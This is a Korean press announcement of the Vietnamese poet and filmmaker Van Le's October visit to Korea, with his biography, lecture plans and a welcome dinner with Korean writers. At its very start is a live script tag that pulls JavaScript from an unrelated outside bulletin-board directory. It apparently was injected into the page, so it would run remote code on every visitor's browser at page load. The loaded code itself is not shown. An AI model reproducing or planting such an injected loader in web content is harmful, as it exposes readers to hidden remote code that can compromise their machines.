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<SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/esuyoil.js></script> 베트남 최고의 시인, 소설가, 영화감독인 반레(54, 본명 ‘레지투이’) 씨가 <베트남을 이해하려는 젊은 작가들의 모임>(회장 방현석, 소설가)의 초청 및 ㈜실천문학사․영화진흥위원회의 후원으로 오는 10월 1일(수) 오전 내한(來韓)해 10월 9일(목)까지 9일 동안 한국에 체류합니다. 반레 씨는 이번 방한 기간 동안 <베트남을 이해하려는 젊은 작가들의 모임> 소속 문인들과의 교류 행사와 중앙대 등에서 특별강연을 가질 계획이며, 분단의 상징인 임진각 도라산역 방문과 영화제 참가 등 바쁜 일정을 소화할 예정입니다.
반레 프로필: 1949년 베트남 북부 닌빈성에서 태어났으며, 1966년 고교 졸업과 함께 17세의 나이로 자원 입대하여 1975년 종전 때까지 베트남전쟁에 참전했다. 반레의 입대 동기 300명 중 295명이 전사했으며, ‘살아 남은 다섯’에 포함됐다. 1976년 『문예공모』 시 공모전에서 최우수상을 받으며 문단에 데뷔했으며, 1982년부터 현재까지 국립해방영화사에서 시나리오 작가 겸 영화감독으로 일하고 있다. 시집으로 『사랑에 빠지다』, 『불 아래 들판』, 장편소설로 『정글에 남은 두 사람』, 『프랏타나의 절』, 『그대 아직 살아 있다면』(2002.12, 실천문학사 간행) 등 20여 권의 작품집이 있다. 또, 영화 <사이공, 1968년의 봄>, <조용한 영광>(1996, 베트남영화제 최우수시나리오상), 다큐 <원혼의 유언>(2000, 최우수감독상) 등이 있다. 반레라는 필명은 ‘시인’이 되기를 바랐지만 채 시인의 꿈을 펴지 못한 채 전장터에서 숨진 친구의 이름이며, 필명에서 열볼 수 있듯이 반레의 문학과 영화작업은 ‘베트남전쟁의 기억’과 깊은 관련을 맺고 있다.
반레 씨의 방한 일정에 맞추어 10월 1일(수) 오후 6시 30분 인사동 선천집에서 <반레 선생 환영 만찬 및 기자 간담회>를 갖습니다. 이날 환영만찬에는 김영현, 최인석, 김남일씨 등 역대 <베트남…작가모임> 회장, 방현석 현회장, 김정환, 강태형, 고영직, 고명철, 손세실리아씨 등 문인들과 싸이더스 차승재씨 등이 참석합니다.
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